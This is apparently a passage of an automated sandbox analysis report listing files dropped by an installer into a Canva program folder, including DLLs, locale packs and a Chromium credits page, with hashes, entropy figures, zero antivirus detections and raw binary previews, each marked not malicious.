Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ....."...(............................................................`A.........................................4..h....B..(.......x.... ..pA..............H...,,.......................+..(...@A..@............E...............................text.... .......".................. ..`.rdata..,....@.......&..............@..@.data....K....... ..................@....pdata..pA... ...B..................@..@.gxfg... &...p...(..................@..@.retplne.............6...................tls....!............8..............@..._RDATA..\............:..............@..@.rsrc...x............<..............@..@.reloc..H............B..............@..B........................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\is-NHDMN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	176670344
Entropy (8bit):	6.752951259704491
Encrypted:	false
SSDEEP:	1572864:XgRMg/aKxl4b7qCDQtjovZT78wLF2pArKgDz6ObiISXD+Dyj3eRalD2kGpTe/2Hh:ng/geeFXzGa9cz
MD5:	762DF055F5A0FCDE30E96F0D6B84D6F0
SHA1:	9F669E5FCA1AE9C2EFD505FCD80D1948B2BB79F8
SHA-256:	8C2D451098E847FA5498E3BFFC8DDF93CDBC150355A7B6568E0984568EED4FAA
SHA-512:	68107C096A6E18C0DEB68CCDB2513F47038CC618313F4E9A858DC8367D372B3EAA81973AE00385DD1E5DC542EACEC4FE695847C47E85C571E9D8AEE06E8E646D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........."......4.....................@.............................`.......{....`.........................................G....j..4...T....0..<W...pe...F..n...X......................................(...@o..@.......................`....................text...U2.......4.................. ..`.rdata.......P.......8..............@..@.data.....D..p ......P .............@....pdata....F..pe...F...).............@..@.gxfg....A...P...B....p.............@..@.retplne............. q..................rodata.............."q............. ..`.tls....i...........4q.............@...CPADinfo8...........:q.............@...LZMADEC.............<q............. ..`_RDATA..\............Nq.............@..@malloc_h..... .......Pq............. ..`.rsrc...<W...0...X...Rq.............@..@.reloc................x.............@..B........................................................

C:\Program Files (x86)\Canva\is-NTUV2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2866176
Entropy (8bit):	6.71639664914218
Encrypted:	false
SSDEEP:	49152:G9T1onpO0KVy2xq6To8i4BZy7+niuoen6yfzv9x0WFJDI:upKNMo8rBYinp/FFJM
MD5:	8F3D89744AE11B0925FAF4B64890D0D7
SHA1:	6A8F744BE1F76E9AD28287D969D8D24F5F1E7623
SHA-256:	11DAF2BF89A3AC660533B3E487E0624668B35F45D2BD94E9B0324BCE8758DE60
SHA-512:	250C06E70276C08D3D8A63744AF6C570B6288E1D8FED8DEED915C79BF0A80C3CD0A7E64C55A16FCBC50CCBCBC9910B26F87983CEEEA8ED28A75C1B8EC22DB53F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ......".........0.........................................u...........`A..........................................).......).(.............t.4.............u.,4..<.)..................... .).(...P.".@...........(.).P............................text...U."......."................. ..`.rdata.......".......".............@..@.data.....I....."...~.............@....pdata..4.....t.......*.............@..@.gxfg....,...@u......R+.............@..@.retplne.....pu.......+..................tls..........u.......+.............@..._RDATA..\.....u.......+.............@..@.reloc..,4....u..6....+.............@..B................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\is-PL5G2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	10717680
Entropy (8bit):	6.282426578921538
Encrypted:	false
SSDEEP:	196608:WgPBhORiuQwCliXUxbblHa93Whli6Z26wO+:W8wkDliXUxbblHa93Whli6ZUF
MD5:	74BDED81CE10A426DF54DA39CFA132FF
SHA1:	EB26BCC7D24BE42BD8CFBDED53BD62D605989BBF
SHA-256:	7BF96C193BEFBF23514401F8F6568076450ADE52DD1595B85E4DFCF3DE5F6FB9
SHA-512:	BD7B7B52D31803B2D4B1FD8CB76481931ED8ABB98D779B893D3965231177BDD33386461E1A820B384712013904DA094E3CD15EE24A679DDC766132677A8BE54A
Malicious:	false
Preview:	...'........CmnD........ Copyright (C) 2016 and later: Unicode, Inc. and others. License & terms of use: http://www.unicode.org/copyright.html ......E.......E.......E..P/...E.../...E..P7...E...7...E...h...F...h.. F..Pi..0F......DF.....WF.....jF..P...}F.......F..`....F.......F.. ....F.......F..0....F.......G......G......(G.....;G..@...NG......aG.....tG.......G.......G..@....G.......G.......G.......G..P....G.......H.......H..P...2H......EH..`...UH......hH......yH..P....H.......H.......H..`....H.......H.......H..P....I.......I......-I..@...=I......PI......aI..@...uI.......I...0...I.. 1...I..p1...I...e...I...e...I...i...I..`i...J...i..)J...K..BJ..p...^J..."'.uJ..P.'..J....'..J...5'..J..06'..J...>'..J..P?'..K...D'..K...F'.0K...H'.IK...V'.hK....(..K....(..K..P.)..K....)..K..pW..K..P...L...*+.?L..p.+.bL....+..L...U,..L....,..L....,..L....,..L..@.,..M....,.-M..P.-.IM.. e-.`M...e-.~M...R/..M.../..M..0.0..M..@.0..M..P.0..M....0..N....0.!N...,0.9N...,0.NN..0-0.fN...-0.vN...Y0..N...Z0..N..

C:\Program Files (x86)\Canva\is-QIU1C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	235060
Entropy (8bit):	7.947114238566176
Encrypted:	false
SSDEEP:	6144:gDQYaSN6svydrI8jDQUgx5GMRejnbdZnVE6YoppO4:NfSN6svydZ6edhVELoXO4
MD5:	E02160C24B8077B36FF06DC05A9DF057
SHA1:	FC722E071CE9CAF52AD9A463C90FC2319AA6C790
SHA-256:	4D5B51F720F7D3146E131C54A6F75E4E826C61B2FF15C8955F6D6DD15BEDF106
SHA-512:	1BF873B89B571974537B685CDB739F8ED148F710F6F24F0F362F8B6BB605996FCFEC1501411F2CB2DF374D5FDAF6E2DAAADA8CEA68051E3C10A67030EA25929E
Malicious:	false
Preview:	..........?.........J..........................................%..........-....\5.....9.....A.....E....IZ.....o....(t.....~.........s...........e...........L.....p.....y...(.3...).....+.....-..........5.....6.1...8.....9.=...:.....;.....<.t...=.$...>.....?.....@.....A.....B.....C.(...D..%..F..)..e.?1..j..6..k./9..l..<..m..J..n.WN..o.\|Z..p..f..q..k..r..l.....m.....q.....t.....w.....z....'~....D........................J..............#.............a....&...................V............c........".....'....n-....P4.....6.....:.....>....6H....bK.....S.....W....ba.....k.....o.....q....cz......................................5...........p.....G..................................%....."... .@...".Y...#.....(.K....\|...+.r...,.R...D.5...E.c...F.}...G.....H.\...I.....J.b...K.....L.f...M.....N.w...O.9 ..P.'%..Q..-..R..4..S..;..T..A..U..F..W..L..X..M..Y..N..Z..P..[.)Q..\.JR..].>S..^..U.._..V..`.pX..c.4e..D..u..E..u..F..u..G.Kv..H..v..I.,x..J..y..K.[y..L..y..M..z..N.mz

C:\Program Files (x86)\Canva\is-R5AIR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	9174266
Entropy (8bit):	4.780443521000387
Encrypted:	false
SSDEEP:	24576:KPQQ/6MP6P5d1n+wRcXe1Lmfpm6k626D6b6+eGnkywBIpv:Cy8OeG8k
MD5:	BD0CED1BC275F592B03BAFAC4B301A93
SHA1:	68776B7D9139588C71FBC51FE15243C9835ACB67
SHA-256:	AD35E72893910D6F6ED20F4916457417AF05B94AB5204C435C35F66A058D156B
SHA-512:	5052AE32DAE0705CC29EA170BCC5210B48E4AF91D4ECEC380CB4A57CE1C56BC1D834FC2D96E2A0F5F640FCAC8CAFE4A4FDD0542F26CA430D76AA8B9212BA77AA
Malicious:	false
Preview:	Generated by licenses.py; do not edit. --><!doctype html>.<html>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width">.<meta name="color-scheme" content="light dark">.<title>Credits</title>.<link rel="stylesheet" href="chrome://resources/css/text_defaults.css">.<link rel="stylesheet" href="chrome://credits/credits.css">.</head>.<body>.<span class="page-title">Credits</span>.<a id="print-link" href="#" hidden>Print</a>.<label class="show show-all" tabindex="0">.<input type="checkbox" hidden>.</label>.<div class="open-sourced">. Chromium software is made available as source code. <a href="https://source.chromium.org/chromium">here</a>..</div>..<div style="clear:both; overflow:auto;"> Chromium <3s the following projects -->.<div class="product">.<span class="title">2-dim General Purpose FFT (Fast Fourier/Cosine/Sine Transform) Package</span>.<span class="homepage"><a href="http://www.kurims.kyoto-u.ac.jp/~ooura/fft.html">homepage</a></span>.<labe

C:\Program Files (x86)\Canva\is-US3A5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	306214
Entropy (8bit):	4.392850925698206
Encrypted:	false
SSDEEP:	3072:ogusbBDoCIdRSt25iD1Z3yAcCLi9wfuwWMvDdkbMzaQ:ogus9oCM9OUYffnWYWbIF
MD5:	AEDD1B80A8140B94C00DB3C0B9485772
SHA1:	2DC8444E599438ED37A31EBFE7F8859AF7FAC631
SHA-256:	C1DA41052ABE31791AE90A9DBE54442A641E1ECBB018EF35C44E7AED05B8F72E
SHA-512:	3E06CB550F46285D8DC81D1F082732C07E9C9D81ABE931E859262C7BA699D4EB9737581F5A5C5174E09BB0FC0561A9DE46298714CED38F453F922F9536C67D0C
Malicious:	false
Preview:	...............12.2.281.27-electron.0..........................................8L..N...........$....K..a........a........a2.......ar.......a2.......aT.........."..............B..............b........."..............B........(Jb....L.....@..F^.-..1.`.....(Jb...2P.....@..F^..`.....H...IDa........Db............D`.....).D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.........................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\libEGL.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	479232
Entropy (8bit):	6.363205504415342
Encrypted:	false
SSDEEP:	3072:0Jk+JyNnPUXhbZ/+a1KYsjNDsrJg3qkrzxwbP6wvEMrwrD7Qy/x6TYtaoB+YEB0+:qbTcZ6+lOP9rmD7QMYYtaFy951wj5ze
MD5:	F1FE23058E7EECE1DE389A0C882BC1AD
SHA1:	E83B15D2BBCB6FB2867651A2A9797ED3B6827947
SHA-256:	A4336A318E8D92A47843D5FE429DC6D1FF7271D8BAC189D719BC8074A128FD6E
SHA-512:	D7D51FCB05542FA81E871DD9F1DD960C363107D1C25311DCBF81E440D1275054C121A788DEF8DBAE47C129E95FD990042E2D39E6EF2BDFB253A114146EB33973
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ....."...(............................................................`A.........................................4..h....B..(.......x.... ..pA..............H...,,.......................+..(...@A..@............E...............................text.... .......".................. ..`.rdata..,....@.......&..............@..@.data....K....... ..................@....pdata..pA... ...B..................@..@.gxfg... &...p...(..................@..@.retplne.............6...................tls....!............8..............@..._RDATA..\............:..............@..@.rsrc...x............<..............@..@.reloc..H............B..............@..B........................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\libGLESv2.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7692800
Entropy (8bit):	6.501902638931627
Encrypted:	false
SSDEEP:	98304:9x8EI0RtffaYFH3lV5D3u31okx/6bXm3q:LhXfTFHmoKgCq
MD5:	76141455CD2705897D38E9785117E405
SHA1:	EE091646B6273BF006CFCD84FD54384B0A9D0E0F
SHA-256:	7B0BAA9E2E731716EFE3E0BEBF6A0BCD2D64F35D9F62B20D23ACB4E098C9BE36
SHA-512:	551B79AAFFDC469448477AA72554458235F118559EECC567C232599A4193B2639C14EAFACAD533485089AF58701AEABEE690B43F36E41342F928D4973EFC02E1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......f.........." ......Y..t........J......................................`v...........`A........................................}.l.......m.d....pu.......r..U............u.,....al.....................p`l.(.....Z.@.............m.......l.@....................text.....Y.......Y................. ..`.rdata..\|.....Z.......Y.............@..@.data...\.....n......nn.............@....pdata...U....r..V....q.............@..@.gxfg....,....u......Tt.............@..@.retplne.....@u.......t..................tls....B....Pu.......t.............@..._RDATA..\....`u.......t.............@..@.rsrc........pu.......t.............@..@.reloc..,.....u.......t.............@..B........................................................................................................................................................................................................................

C:\Program Files (x86)\Canva\locales\af.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	489715
Entropy (8bit):	5.4071564375394185
Encrypted:	false
SSDEEP:	12288:3an0y+3zo5ExirXKhaG1B2+H2JynyaI4IVzZo0vgElgA2W0PSq+2ss30fzO75g6D:3a0y+3zouxkXyd1B2+H2JynyaI4IVzZW
MD5:	2602CD68EBE25F12F5D9892D5FA92B11
SHA1:	478766DCC8CE4427872BEBD81AD929F7AEF250A3
SHA-256:	E36A906908A92DAD39AD8E5B344B38C538574E35C5386AC2B901640B202D3228
SHA-512:	6BBECBEAA6E09857A5698A280475496498A88488249025B2F58CA7A8493A77BC13FCD783041A6198F58696F4E2A84C3DBEE0891E89800DAC6F3FB317F70C5492
Malicious:	false
Preview:	........T%..e.R...h.Z...i.b...j.n...k.}...l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.......%.....*.....2.....:.....B.....I.....P.....W.....X.....Y.....^.....k.....z.................!.......................U.......................g.................%................. .....9.............................j.......................^.......................m.......................y.......................u.........................................2.................c.....z.................,.....=.............................J.............................e.......................Y.......................5.....].....f.................%...................................z...........(.....?.............................z.......................X.......................P.......................s.......................F.......................F.......................l...........8.....L...........%.....d.................J.....~.................!.....E.....S.................,.

C:\Program Files (x86)\Canva\locales\am.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	794986
Entropy (8bit):	4.8798900601209185
Encrypted:	false
SSDEEP:	24576:/x1ATZg8/xp1GCj+VRRz085d9tcV03OzPkS:Z1J5Q
MD5:	AC7A72616A544CDB022EDA20B0DC8872
SHA1:	50B7F8363894A7E33042412804EFA2BDA510ABA2
SHA-256:	1847F8517D8F26C856ADBF08DF3996D5F3B7AB61378199C138346BFE29675F01
SHA-512:	D5B3B851A0D6615ECCC1223CFBA6B285AC8387E0C0F9DF1FB5BD95C9A208813B31F56546FC9C624E7F3A12B35AB7E8ACD13EA85025B5F9CF74DEF60AD679A546
Malicious:	false
Preview:	........h%..e.z...h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.!...z.0...\|.6...}.H.....P.....U.....].....e.....m.....t.....{.................................................................N.....n...../...........^...........a.....#.......................=.................N.................)...........".....l........... .................!.......................K...........d.............................p...........;...........,.....K.....&...........m.................q.................4.......................`.............................p.......................).................,.................!...........9.................&.................. ..... ....b!.....!....."....."....."..../#....V#.....#....N$.....$.....$....C%.....%.....%.....&.....&....O'.....'.....'....~(.....(.....)....<).....)....`...............+.....+....b,.....,....U-......................./....30.....0.....0.....1....L2.....2.....2....:3.....3.....3.....3.....4....5.....5

C:\Program Files (x86)\Canva\locales\ar.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	871955
Entropy (8bit):	4.902875426840413
Encrypted:	false
SSDEEP:	12288:4P9FlB5/G/d/RXCwR14fvPUKzUUk/K5MN0j+OzIh4pG:4LhQza5R+9
MD5:	4D0A0771176823BF004F9182B94BDE82
SHA1:	7E0601D8DCA0404736787D85918D1A680A7E68EC
SHA-256:	04E83274DEC0274DCCBD97DABCEFE3174EA1DA5B62B5D24E047E2036B93F3482
SHA-512:	6DD144273252026BCF08BE52189EA5A15410A42A616C9FAC14EDB4BE7D98023B65FA1746ED50B654E57F140790E8A92B1080F2F035ADB81B7D10AA473F2DCA61
Malicious:	false
Preview:	.........%8.e.....h.....i.....j.%...k.4...l.?...n.G...o.L...p.Y...q._...r.k...s.\|...t.....v.....w.....y.....z.....\|.....}.........................................................................K.............................;....._...................................m.......................b.................w...........Q.....h...........[.................D...........(.....m.....(...........:.....`.....?.......................S...........G.....u.................Q.....l.....s.....`...........?...........M.....w...........>...................................G.....g.................A....._...........^.................T...........>.....b...........g.................C ..... .....!....$!.....!....["....."....."....]#.....#.....$....5$.....$....0%....e%.....&.....&.....'....$'.....'....G(.....(.....(....L).....).....).....).....*.....+....T+....z+.....,....q,.....,.....,.....-..........t/...../....S0.....0....11....h1.....1....v2.....2.....2....33.....3.....3.....3.....4....75.....5.....5....K6

C:\Program Files (x86)\Canva\locales\bg.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	906398
Entropy (8bit):	4.655210398798349
Encrypted:	false
SSDEEP:	24576:E+CDcquMMLYzzQkECPUwVbtcHU373ZA+3aAKHkVDYyKzumpod2nm5c0XuGox3QN3:hCDcquMMLYUKUwVbtcHU373Z93arkVDn
MD5:	D0B47C1CF62B29B866CA630958A019FB
SHA1:	BAE6E1AF9D7225584510443AED21A40FCEA349E3
SHA-256:	24C09721C3CB4F3FE7EB403113375257197BED808295C6B85532409B6664DB45
SHA-512:	39472B1F6859C10CC782A303761D63A2409807D7D342C3BC558075284CF455A26C3E1B9B4CE67A5FBD84E6C4B621ADCFD8FD8A819CFC25554962454E5F4B5816
Malicious:	false
Preview:	........W%..e.X...h.`...i.h...j.t...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.#.....+.....0.....8.....@.....H.....O.....V.....].....^....._.....d.........................................a...........i...................................l.................]...........$...........O.................T...........,.....R.....>...........^.................p...........<.....&...........r...........p.............................[....................................................R.....y..... .................+...........P.................w...... ....g ..... ....6!.....!....."....)"....."....<#.....#.....#....5$.....$.....$.....%.....%....J&.....&.....&.....'.....(....K)....})....'..............%+.....+....-,....o,.....,.....-....E................../.....0.....0....l1.....2.....2.....2.....3.....3....x4.....4.....5.....5.....6.....7....>7.....8.....9.....9.....9.....:.....;.....<....O<.....=.....=.....>....E>.....>....p?.....?.....?.....@.....A....6B

C:\Program Files (x86)\Canva\locales\bn.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1170199
Entropy (8bit):	4.270267200548805
Encrypted:	false
SSDEEP:	3072:iOXg1lMf3u3jGVxXD7unXU7AI2HSzhb0Ylf14/QISydDbsh8VBbFKQg5hNDl2Ob:Hw3MvpXD7unLxSydHsh8VBbG5Hld
MD5:	83A0030387AFBE1CD2D6790079FC5024
SHA1:	9D4253D253167AEE6F3BA9CF6F8F376266832D00
SHA-256:	BF2FA4C57095E0BE63E8CD1AE6D2389D6417A91D8C9E1970EEEE5363C46F0D27
SHA-512:	20C92C5C3634A9663D933AA98D9356E18BEB8927F2975778967A65CC25522560784EABECFE99037008689CF3B77093C35D3F109F32AE2DB2160E9798415A3771
Malicious:	false
Preview:	........Q%..e.L...h.T...i.e...j.q...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.!.....)...........6.....>.....C.....K.....R.....Y.....`.....a.....b.....g.............................C.....M...........E.....:...........................................................H...........D...........q...........^...........c.............................w.....].....4.............................]...........Y...........k.............................O.....s.....k...........e.......................?...........w ..... ..... ....v!....."....;"....^"....>#.....#....W$.....$....S%.....%....O&....{&....3'.....'....'(....M(.....(.....).....)..............V+.....+.....+.....,................./.....0.....0....d1.....1....A2.....2.....3....<3.....4.....4....75....c5....K6....$7.....7....38.....8....~9.....9.....9.....:.....;.....;....%<....(=.....=....~>.....>.....?....=A....0B....cB.....C.....D....AE.....E.....F....EG.....G.....G.....H.....I.....I....&J....,K.....L

C:\Program Files (x86)\Canva\locales\ca.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	551632
Entropy (8bit):	5.40551102269728
Encrypted:	false
SSDEEP:	12288:WM4Hy2Q57BREeApk73K5PqF4N3Mw2juwHzejm0t3lvqbETX9/RSHhIsjcmlLEYuT:+itVzaBRn1WDMN8UpOO5J/ras
MD5:	D5D6200B582B9B12A0BD8C773DEA0474
SHA1:	341650B76AF1C74129A97725673B646B7256D4D6
SHA-256:	F4DA114B473C34E0946B12289F6E802FCEDE2F66013D4F184C729A1F8AE7350E
SHA-512:	1465E7214C4AE818B545778B831B7773F0373726F705160BA4DF33CE3C206A2166C8B6519336FD2B1E405EF6811D2CFDC2A655F1B767BF9B4E083C6A33B34AE4
Malicious:	false
Preview:	........U%..e.T...h.\...i.d...j.p...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.......'.....,.....4.....<.....D.....K.....R.....Y.....Z.....[.....].....w.......................s...........o.................c.................X...........<.....[.................V.....s...........".....U.....h.................L.....]...........G.................<...................................,.....@.................1.....E...........#.....h.............................).......................&.....v.......................T.......................T.......................c.......................P.......................).....t.......................d.................,.......................a.......................\.................$.....s.................B.................(.............................e.......................o................. ...........E.................R.................( ..... ..... ....*!....J!.....!.....!....."....."....."....."....6#....R#

C:\Program Files (x86)\Canva\locales\cs.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	568567
Entropy (8bit):	5.839431034543846
Encrypted:	false
SSDEEP:	6144:0/AkCOZjqspN1oAUGCDAfiebO5zU8rEsiNOPY3SBFmPy38Qu:0dJZuSPoAUTbe65zU8rEsiNOA3SzmPH
MD5:	0E52AC897F093B6B48B5063C816F6CA1
SHA1:	4F4FEBB42FD7CDD0BC7DF97C37DB0E4AA16518E4
SHA-256:	5635587F6FFB152C027B4357092FE78168E31CBC7F6BE694C627F819C1AD1D73
SHA-512:	9CF5594AC47AE967BD4221F61B92C97343EA0C911FBE992D35A9391E3E1E6560B1B41BD031074CD262A622CA88AF3B25BA33575B456A4D5B8A7B897233C0A54D
Malicious:	false
Preview:	........?%'.e.(...h.0...i.8...j.D...k.S...l.^...n.f...o.k...p.x...q.~...r.....s.....t.....v.....w.....y.....z.....\|.....}...........................................&.....-.........../.....1.....A.....S.....e.....z.......................'................. ...../...........2.........................................=.......................9.......................<...................................S.....u...........\.........................................9...................................G.....a.................0.....G.......................*.....y.......................h.......................\|.................&.....w.......................l...................................&.....:.........../.....s.................".....=.....Q.......................2.................%.....;.................\.................9.....T.....h...........K.....{.................j.................6...................................`.................d ..... ..... ..... ....Y!....~!.....!....."....l"....."

C:\Program Files (x86)\Canva\locales\da.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	513715
Entropy (8bit):	5.450169156228439
Encrypted:	false
SSDEEP:	6144:gRsuNwWzVPsP5sbse814e8jKwlRDdJwL2obEZZaFRQ5Mk2rkvb3d4nTGqFwJ:g6qskjdTv5M/rvTpu
MD5:	D5BF4ABA2D82744981EBF92CCAADF9C0
SHA1:	1A1C4EA1D4ECF5346EE2434B8EB79D0BF7B41D46
SHA-256:	0C75ACB008DD5C918D8A1A73C22FA7C503961481BF1708F6BDA0DA58693C3C08
SHA-512:	5BCCC18687FCEFAD5E78C5C8072ACEA36CE7687C5B848A1E0367C82A38F32F46402FF01EDD4FB1379EE77083EF0E1964E24BAD87B18CE78077B28F0C1BD4BD08
Malicious:	false
Preview:	........Y%..e.\...h.d...i.u...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.0.....8.....=.....E.....M.....U.....\.....c.....j.....k.....l.....n.....\|.............................................._.................&...........2.......................k.......................^.......................F.....p.....~...........G.....v.................\|.................E.......................l.................%.................~...........+.................).............................f.......................?..............................................0.......................).............................h.......................Q.....~...................................B.......................&.....z.......................W.....t.................l.................<.......................<.......................T.......................P.............................'.....].................X.......................2 ....N ....[ ..... .....!....T!

C:\Program Files (x86)\Canva\locales\de.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	549246
Entropy (8bit):	5.505323401507658
Encrypted:	false
SSDEEP:	6144:VJdzQHdf003K7UpKD93gFahmOW2xdVfwAXaOV5jbt5ZRYJoUjM5QIvCWa:VbIC03K7UpggFa0DtE3t5xUqvvCWa
MD5:	0BC4A1CF47A5AD423969F22AF3030231
SHA1:	3F6F19725068509EFD426600A6B512158267EB58
SHA-256:	E33EA8240835CC775A9E88942AA2905D17CEF84929602FD2C4F26F33F9BDC52A
SHA-512:	D9AB8855472077FBD7277A73FCB2BFA8CBB592F39E62957ACD91BFAC2E51DC24BA23D6C6DACB8DCD4EDFFFF5A59B2BB4D9761F70327AFA0A668BD55E95B00864
Malicious:	false
Preview:	.........$y.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.+...y.1...z.@...\|.F...}.X.....`.....e.....m.....u.....}.......................................................................^.................K................. .................d.....~...........t.................5.......................`.............................$.....[.....}.............................n...........,.....=...........?.....}...........&.................&...........e.................J.......................[.......................n.............................$.....g.....~...........l.................#.......................L.......................{.........../.....A...........p.................G.......................A.......................?.......................z...........2.....f...........3.....Q.....h...........M.....y............ ..... ..... ..... ....Z!.....!....2"....<"....."....Y#.....#.....#....5$.....$.....$.....$....Q%.....%.....%.....%....z&.....&....0'

C:\Program Files (x86)\Canva\locales\el.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	994931
Entropy (8bit):	4.737922927263801
Encrypted:	false
SSDEEP:	24576:2YcaPdGgxh1hxFJiL9+0JXDsSaSmqHuuD2Np6P4j/MAVH8yeVd85tRDQr3egif27:2YcaPdGgxh1hxFJiL9+0JXDsSaSmqHbp
MD5:	71ABCFDF468DC5813610DD32234BE946
SHA1:	AA4C14E702B06E391834E4CFC58929B873BC3D1A
SHA-256:	F1E01EEB90C0842F7AF927F65D034FC93FDBCBCB9B9EA7E31C79761C316C8FB8
SHA-512:	615B591E4BD744848E6E15B729E543FAA9AB06DB11F042FFF12FFEE6FD3E7802C9DA37D8784004E6727FC39CDE17BECB60C1158DEC401E20A088056451693BB8
Malicious:	false
Preview:	........X%..e.Z...h.b...i.j...j.t...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.#.....+.....0.....8.....@.....H.....O.....V.....].....^....._.....a....................... .....G.....%.............................h.................z.....&.....X.....{...................................s...........9.................8.................&....._.....g.....a...........0.................A.....\.....C...........q.................H.................2............................y.......................N.................\...... ....J ..... ....a!....;".....".....".....#....g$.....$.....$.....%.....&.....&....&'.....'.....(.....(.....).....)..........*.....+.....,....%-.....-.....-.........../...../....$0.....0....M1.....1.....1...._2.....2....M3....z3....g4....'5.....5.....5.....6....J7.....7.....7....x8....:9.....9.....9.....:....e;.....;.....<....H=....c>.....?....R?....S@....:A.....A.....A.....C.....D.....D.....D....mE....7F.....F.....F.....G.....H....HI

C:\Program Files (x86)\Canva\locales\en-GB.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	447042
Entropy (8bit):	5.522859001768912
Encrypted:	false
SSDEEP:	6144:hR4GWUMzWjLCI7MP9ej7HXfaYISMv5n51SKBcWRnpM:UEh7Ma7H6N51SOM
MD5:	413E4484B8AA83BF7D928AF143340DD9
SHA1:	92B8DC474FD507F28C51B34014FE9F867AF25531
SHA-256:	AD460425C88BE889D6D6A9B69D0B6F64E2E957BF8AC4F230DE4D25340C75BA87
SHA-512:	E8AB41CA706D8A49B4A411FB9F50BF1C04627DAB452A7AEC01A5C61E4951FDE42FC05163CBD193F034BFEE378849353DB9AD4B8A2DB3F992DF105DF17BB146E0
Malicious:	false
Preview:	.........%..e. ...h.(...i.6...j.B...k.Q...l.\...n.d...o.i...p.v...q.\|...r.....s.....t.....v.....w.....y.....z.....\|.....}...........................................$.....+.....,.....-.....2.....?.....N.....^.....o...........B.......................@.....q.................A.....}.................8.....g.....\|.................7.....E.............................W.......................:.......................0.....}.......................S.....~.................".....N.....Y...........".....d.....x.............................V.............................9.....Z.....f.................@.....S.......................#.....l.......................-.....q.......................2.....[.....f.................\.....q.................!.....7.............................?.............................U.......................,.....G.....V.......................>.......................3.................N.....\.................S.....p.................>.....M.............................c.............

